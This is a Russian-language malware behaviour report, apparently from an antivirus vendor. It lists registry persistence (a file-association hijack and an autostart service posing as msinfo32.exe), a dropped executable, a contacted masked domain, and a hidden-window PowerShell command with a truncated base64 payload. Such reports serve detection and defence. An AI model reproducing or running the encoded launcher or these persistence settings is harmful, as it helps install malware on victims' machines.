Техническая информация
- [<HKLM>\Software\Classes\Dialupwatch.Document\shell\open\command] '' = '%HOMEPATH%\Pt16vi6\Bpmi5as\X5w6zls.exe "%1"'
- [<HKLM>\System\CurrentControlSet\Services\msinfo32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msinfo32] 'ImagePath' = '"%WINDIR%\SysWOW64\UIRibbon\msinfo32.exe"'
- 'msinfo32' "%WINDIR%\SysWOW64\UIRibbon\msinfo32.exe"
- 'msinfo32' %WINDIR%\SysWOW64\UIRibbon\msinfo32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAHUAawBkAGYAaQAzAD0AKAAnAFMAcQAnACsAKAAnAHAAJwArACcAOQBpAHQAJwApACsAJwBzACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAHIATwBmAGkAbABFAFwAcABUAD...
- %HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe
- %HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe в %WINDIR%\syswow64\uiribbon\msinfo32.exe
- http://www.yu###elife.com/wp/ure/
- DNS ASK yu###elife.com
- ClassName: 'Dial-up watch' WindowName: ''
- '%HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe'
- '%WINDIR%\syswow64\uiribbon\msinfo32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAHUAawBkAGYAaQAzAD0AKAAnAFMAcQAnACsAKAAnAHAAJwArACcAOQBpAHQAJwApACsAJwBzACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAHIATwBmAGkAbABFAFwAcABUAD...' (со скрытым окном)